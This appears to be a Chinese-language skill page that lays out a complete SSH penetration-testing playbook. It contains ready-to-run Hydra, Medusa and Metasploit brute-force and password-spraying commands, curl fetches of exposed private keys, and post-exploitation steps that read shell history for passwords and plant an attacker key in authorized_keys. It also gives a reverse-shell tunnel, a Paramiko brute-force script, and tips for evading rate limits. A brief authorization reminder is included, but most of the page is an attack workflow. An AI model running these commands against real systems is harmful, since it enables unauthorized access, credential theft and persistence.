详细分析 ▾
运行时依赖
版本
批量发布自所有任务技能去重
安装命令
点击复制技能文档
目的
进行全面的SSH安全评估,包括枚举、凭证攻击、漏洞利用、隧道技术和后渗透活动。此技能涵盖测试SSH服务安全的完整方法论。
前置条件
必需工具
- Nmap(带SSH脚本)
- Hydra或Medusa(暴力破解)
- ssh-audit(配置分析)
- Metasploit Framework
- Python(Paramiko库)
必需知识
- SSH协议基础
- 公钥/私钥认证
- 端口转发概念
- Linux命令行熟练度
输出和交付物
- SSH枚举报告 - 版本、算法、配置
- 凭证评估 - 弱密码、默认凭证
- 漏洞评估 - 已知CVE、配置错误
- 隧道文档 - 端口转发配置
核心工作流程
阶段1:SSH服务发现
识别目标网络上的SSH服务:
# 快速SSH端口扫描 nmap -p 22 192.168.1.0/24 --open# 常见备用SSH端口 nmap -p 22,2222,22222,2200 192.168.1.100
# SSH全端口扫描 nmap -p- --open 192.168.1.100 | grep -i ssh
# 服务版本检测 nmap -sV -p 22 192.168.1.100
阶段2:SSH枚举
收集SSH服务的详细信息:
# Banner获取 nc 192.168.1.100 22 # 输出:SSH-2.0-OpenSSH_8.4p1 Debian-5# Telnet banner获取 telnet 192.168.1.100 22
# Nmap版本检测(带脚本) nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
# 枚举支持的算法 nmap -p 22 --script ssh2-enum-algos 192.168.1.100
# 获取主机密钥 nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
# 检查认证方法 nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
阶段3:SSH配置审计
识别弱配置:
# ssh-audit - 全面SSH审计 ssh-audit 192.168.1.100# ssh-audit(指定端口) ssh-audit -p 2222 192.168.1.100
# 输出包括: # - 算法建议 # - 安全漏洞 # - 加固建议
需要识别的关键配置弱点:
- 弱密钥交换算法(diffie-hellman-group1-sha1)
- 弱加密算法(arcfour、3des-cbc)
- 弱MAC(hmac-md5、hmac-sha1-96)
- 已弃用的协议版本
阶段4:凭证攻击
使用Hydra暴力破解
# 单用户名,密码列表 hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100# 用户名列表,单一密码 hydra -L users.txt -p Password123 ssh://192.168.1.100
# 用户名和密码列表 hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# 指定端口 hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
# 绕过速率限制(慢速) hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
# 详细输出 hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
# 首次成功后退出 hydra -l admin -P passwords.txt -f ssh://192.168.1.100
使用Medusa暴力破解
# 基本暴力破解 medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh# 多个目标 medusa -H targets.txt -u admin -P passwords.txt -M ssh
# 用户名列表 medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
# 指定端口 medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
密码喷洒
# 测试常见密码(跨用户) hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# 多个常见密码 for pass in "Password123" "Welcome1" "Summer2024!"; do hydra -L users.txt -p "$pass" ssh://192.168.1.100 done
阶段5:基于密钥的认证测试
测试弱密钥或暴露的密钥:
# 使用找到的私钥尝试登录 ssh -i id_rsa user@192.168.1.100# 明确指定密钥(绕过代理) ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
# 强制密码认证 ssh -o PreferredAuthentications=password user@192.168.1.100
# 尝试常见密钥名 for key in id_rsa id_dsa id_ecdsa id_ed25519; do ssh -i "$key" user@192.168.1.100 done
检查暴露的密钥:
# 私钥的常见位置 ~/.ssh/id_rsa ~/.ssh/id_dsa ~/.ssh/id_ecdsa ~/.ssh/id_ed25519 /etc/ssh/ssh_host__key /root/.ssh/ /home//.ssh/
# Web可访问的密钥(使用curl/wget检查) curl -s http://target.com/.ssh/id_rsa curl -s http://target.com/id_rsa curl -s http://target.com/backup/ssh_keys.tar.gz
阶段6:漏洞利用
搜索已知漏洞:
# 搜索漏洞利用 searchsploit openssh searchsploit openssh 7.2# 常见SSH漏洞 # CVE-2018-15473 - 用户名枚举 # CVE-2016-0777 - 漫游漏洞 # CVE-2016-0778 - 缓冲区溢出
# Metasploit枚举 msfconsole use auxiliary/scanner/ssh/ssh_version set RHOSTS 192.168.1.100 run
# 用户名枚举(CVE-2018-15473) use auxiliary/scanner/ssh/ssh_enumusers set RHOSTS 192.168.1.100 set USER_FILE /usr/share/wordlists/users.txt run
阶段7:SSH隧道和端口转发
本地端口转发
将本地端口转发到远程服务:
# 语法:ssh -L <本地端口>:<远程主机>:<远程端口> user@ssh_server# 通过SSH访问内部Web服务器 ssh -L 8080:192.168.1.50:80 user@192.168.1.100 # 现在访问 http://localhost:8080
# 访问内部数据库 ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
# 多个转发 ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
远程端口转发
将本地服务暴露到远程网络:
# 语法:ssh -R <远程端口>:<本地主机>:<本地端口> user@ssh_server# 将本地Web服务器暴露到远程 ssh -R 8080:localhost:80 user@192.168.1.100 # 远程可通过 localhost:8080 访问
# 反向shell回调 ssh -R 4444:localhost:4444 user@192.168.1.100
动态端口转发(SOCKS代理)
创建SOCKS代理用于网络跳转:
# 在本地端口1080创建SOCKS代理 ssh -D 1080 user@192.168.1.100# 与proxychains配合使用 echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf proxychains nmap -sT -Pn 192.168.1.0/24
# 浏览器配置 # 将SOCKS代理设置为localhost:1080
ProxyJump(跳板主机)
通过多个SSH服务器链式连接:
# 通过中间主机跳转 ssh -J user1@jump_host user2@target_host# 多次跳转 ssh -J user1@jump1,user2@jump2 user3@target
# 使用SSH配置 # ~/.ssh/config Host target HostName 192.168.2.50 User admin ProxyJump user@192.168.1.100
阶段8:后渗透活动
获得SSH访问后:
# 检查sudo权限 sudo -l# 查找SSH密钥 find / -name "id_rsa" 2>/dev/null find / -name "id_dsa" 2>/dev/null find / -name "authorized_keys" 2>/dev/null
# 检查SSH目录 ls -la ~/.ssh/ cat ~/.ssh/known_hosts cat ~/.ssh/authorized_keys
# 添加持久化(添加您的密钥) echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
# 提取SSH配置 cat /etc/ssh/sshd_config
# 查找其他用户 cat /etc/passwd | grep -v nologin ls /home/
# 历史记录(查找凭证) cat ~/.bash_history | grep -i ssh cat ~/.bash_history | grep -i pass
阶段9:自定义SSH脚本(Paramiko)
基于Python的SSH自动化:
#!/usr/bin/env python3import paramiko import sys
def ssh_connect(host, username, password): """使用凭证尝试SSH连接""" client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(host, username=username, password=password, timeout=5) print(f"[+] Success: {username}:{password}") return client except paramiko.AuthenticationException: print(f"[-] Failed: {username}:{password}") return None except Exception as e: print(f"[!] Error: {e}") return None
def execute_command(client, command): """通过SSH执行命令""" stdin, stdout, stderr = client.exec_command(command) output = stdout.read().decode() errors = stderr.read().decode() return output, errors
def ssh_brute_force(host, username, wordlist): """使用字典暴力破解SSH""" with open(wordlist, 'r') as f: passwords = f.read().splitlines() for password in passwords: client = ssh_connect(host, username, password.strip()) if client: # 运行后渗透命令 output, _ = execute_command(client, 'id; uname -a') print(output) client.close() return True return False
# 使用方法 if __name__ == "__main__": target = "192.168.1.100" user = "admin" # 单个凭证测试 client = ssh_connect(target, user, "password123") if client: output, _ = execute_command(client, "ls -la") print(output) client.close()
阶段10:Metasploit SSH模块
使用Metasploit进行全面的SSH测试:
# 启动Metasploit msfconsole# SSH版本扫描器 use auxiliary/scanner/ssh/ssh_version set RHOSTS 192.168.1.0/24 run
# SSH登录暴力破解 use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.1.100 set USERNAME admin set PASS_FILE /usr/share/wordlists/rockyou.txt set VERBOSE true run
# SSH密钥登录 use auxiliary/scanner/ssh/ssh_login_pubkey set RHOSTS 192.168.1.100 set USERNAME admin set KEY_FILE /path/to/id_rsa run
# 用户名枚举 use auxiliary/scanner/ssh/ssh_enumusers set RHOSTS 192.168.1.100 set USER_FILE users.txt run
# 使用SSH会话进行后渗透 sessions -i 1
快速参考
SSH枚举命令
| 命令 | 用途 |
|---|---|
nc 22 | Banner获取 |
ssh-audit | 配置审计 |
nmap --script ssh* | SSH NSE脚本 |
searchsploit openssh | 查找漏洞利用 |
暴力破解选项
| 工具 | 命令 |
|---|---|
| Hydra | hydra -l user -P pass.txt ssh://host |
| Medusa | medusa -h host -u user -P pass.txt -M ssh |
| Ncrack | ncrack -p 22 --user admin -P pass.txt host |
| Metasploit | use auxiliary/scanner/ssh/ssh_login |
端口转发类型
| 类型 | 命令 | 使用场景 |
|---|---|---|
| 本地 | -L 8080:target:80 | 本地访问远程服务 |
| 远程 | -R 8080:localhost:80 | 远程暴露本地服务 |
| 动态 | -D 1080 | SOCKS代理用于跳转 |
常见SSH端口
| 端口 | 描述 |
|---|---|
| 22 | 默认SSH |
| 2222 | 常见备用端口 |
| 22222 | 另一个备用端口 |
| 830 | NETCONF over SSH |
约束和限制
法律注意事项
- 始终获得书面授权
- 暴力破解可能违反服务条款
- 记录所有测试活动
技术限制
- 速率限制可能阻止攻击
- Fail2ban或类似工具可能会封禁IP
- 基于密钥的认证可防止密码攻击
- 双因素认证增加了复杂性
规避技术
- 使用慢速暴力破解:
-t 1 -w 5 - 跨IP分发攻击
- 小心使用基于时间的枚举
- 尊重锁定阈值
故障排除
| 问题 | 解决方案 |
|---|---|
| 连接被拒绝 | 验证SSH运行;检查防火墙;确认端口;从不同IP测试 |
| 认证失败 | 验证用户名;检查密码策略;密钥权限(600);authorized_keys格式 |
| 隧道不工作 | 检查sshd_config中的GatewayPorts/AllowTcpForwarding;验证防火墙;使用ssh -v |